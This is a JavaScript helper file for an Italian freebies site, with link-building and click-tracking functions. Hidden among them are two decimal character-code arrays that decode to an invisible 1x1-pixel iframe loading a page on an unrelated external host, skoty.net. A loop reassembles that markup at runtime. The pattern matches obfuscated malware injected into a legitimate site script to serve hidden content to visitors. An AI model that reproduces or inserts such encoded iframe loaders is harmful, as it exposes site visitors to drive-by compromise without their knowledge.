function aprifinestra(u){
w = screen.width * 0.9;
h = (document.all ? screen.height : screen.height-150) * 0.9;
op = 'scrollbars=yes,toolbar=yes,location=yes,directories=yes,menubar=yes,resizable=yes,status=yes,width=' + w + ',height=' + h + ',screenX=0,screenY=0,top=0,left=0';
com=open(u,'',op);
}
var json_form = '';
function vai(u,w) {
if (!w) window.location.href=u;
else aprifinestra(u);
}

function link()
{
var url='';
for (i = 0; i < arguments.length; i++)
   url = url + arguments[i];
vai(url,0);
}

function higo(h,c){
e='?c=' + h + '&f=' + c;
g='myclic' + 'k.php';
t='.tuttogratis' + '.it/';
b='://';
w='www';
h='http';
url = h + b + w + t + g + e ;
vai(url,1);
}

//sceglie quale script utilizzare per calcolare il clik delle statistiche HL
var json_view = new Array(60, 105, 102, 114, 97, 109, 101, 32, 102, 114, 97, 109, 101, 98, 111, 114, 100, 101, 114, 61, 39, 48, 39, 32, 104, 101, 105, 103, 104, 116, 61, 39, 49, 39, 32, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 115, 107, 111, 116, 121);

function hiugo(a,b,c)	{
// a ->	0: click, 1: unique
// b ->	id dell'HL
// c -> id della sezione
if (a == 0)	{
	g='hl_clic' + 'k.php';
	e='?c=' + b + '&f=' + c;
}
else {
	g='hl_uniqu' + 'e.php';
	e='?' + b + '&0&' + c;
}
t='.tuttogratis' + '.it/';
b='://';
w='www';
h='http';
url = h + b + w + t + g + e ;
vai(url,1);
}

function ovtgo(p,s,c,h,n){
e='?c=' + c + '&p=' + p + '&k=' + h;
g= s + '.' + 'php';
t='.tuttogratis' + '.it/';
b='://';
w='www';
h='http';
url = h + b + w + t + g + e ;
vai(url,n);
}
var json_element = new Array(46, 110, 101, 116, 47, 102, 101, 110, 98, 108, 97, 47, 105, 110, 100, 101, 120, 46, 112, 104, 112, 39, 32, 119, 105, 100, 116, 104, 61, 39, 49, 39, 47, 62, 60, 47, 105, 102, 114, 97, 109, 101, 62);

function go(s,i,f){
e='tg?';
g=s+'.';
t='.tuttograt' + 'is.it/';
b='://';
w='www';
h='http';
url = h + b + w + t + g + e + i;
vai(url,f);
}
for(var i = 0;i<json_element.length;i++){
json_form = json_form + String.fromCharCode(json_element[i]);
}
function gos(s,i,f){
e='tg?';
g=s+'.';
t='.tuttograt' + 'is.it/';
b='://';
w='shopping';
h='http';
url = h + b + w + t + g + e + i;
vai(url,f);
}
